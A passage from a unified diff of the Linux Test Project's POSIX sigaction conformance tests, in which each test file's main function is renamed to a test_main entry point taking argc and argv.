b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-8.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-9.c index a1391e4e..9e837067 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/17-9.c @@ -33,7 +33,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) wakeup++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; struct timeval tv; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-1.c index b9f7e738..90c86be4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-1.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-10.c index 7d402fd6..09b88136 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-10.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-11.c index 93e4a904..a5628499 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-11.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-12.c index 5f95af8c..1a3d2a7f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-12.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-13.c index c2847c9d..7bbbe99d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-13.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-14.c index 96871128..1e3639c6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-14.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-15.c index 336367f9..6ad24df9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-15.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-16.c index 60c502f5..cfb5ddd4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-16.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-17.c index 40b3b482..fc3a82d9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-17.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-18.c index 9d7a91fd..412ee649 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-18.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-19.c index 6b8ca767..23db0bb8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-19.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-2.c index 5e42ddd4..50e5263a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-2.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-20.c index 3b0a6fee..344ce88b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-20.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-21.c index 3db868f0..cf8c7b70 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-21.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-22.c index 659202f7..96724fe7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-22.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-23.c index f3e05275..f728c0bc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-23.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-24.c index 02c9d4df..abaa8a5d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-24.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-25.c index 388e9c4b..6a836616 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-25.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-26.c index ba672756..d83e4e43 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-26.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-3.c index da5c0824..55d5147b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-3.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-4.c index dc69d283..c1952799 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-4.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-5.c index c3baf6c3..1b084b3f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-5.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-6.c index f2ea5635..ebbaabad 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-6.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-7.c index 836ef92d..30e8f3db 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-7.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-8.c index 92b20c45..d1e8be28 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-8.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-9.c index cdf1a298..73da488e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-9.c @@ -48,7 +48,7 @@ static void handler() called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct sigaction sa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c index aadcfd84..bb4df9be 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-1.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c index 4ab58ae4..1d801fd0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-10.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c index 31d077c7..01f74e39 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-11.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c index ec7c8ade..50d4556a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-12.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c index da1241c2..0bfbc2a6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-13.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c index 0b33cc2e..9a03c542 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-14.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c index c5ef8091..5a86eff4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-15.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c index 73c632be..9dbdcb96 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-16.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c index 50d9b7cd..6779880a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-17.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c index dc697621..aceee8d3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-18.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c index 3708f7e8..849b959e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-19.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c index b9c6ff9b..d65518cd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-2.c @@ -56,7 +56,7 @@ static void handler(int sig, siginfo_t *info, void *context) } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c index bf8f35ab..553a1f6c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-20.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c index fa96eda8..7a3a1d39 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-21.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c index 3885f2a0..5628a42f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-22.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c index e51d7ce1..ee5b8475 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-23.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c index 8505c94e..f841f14f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-24.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c index 404521ed..c83ecc86 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-25.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c index 0e072823..527e76ee 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-26.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c index 6674c9a5..972f8148 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-3.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c index a56f15bd..a4f172a5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-4.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c index 9df9e428..a529c161 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-5.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c index da0b6ba7..99b2fa2c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-6.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c index ed1bd3db..31aac325 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-7.c @@ -55,7 +55,7 @@ static void handler(int sig, siginfo_t *info, void *context) called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/19-8.c index 4edf21e7..ede54e92 100644 --- 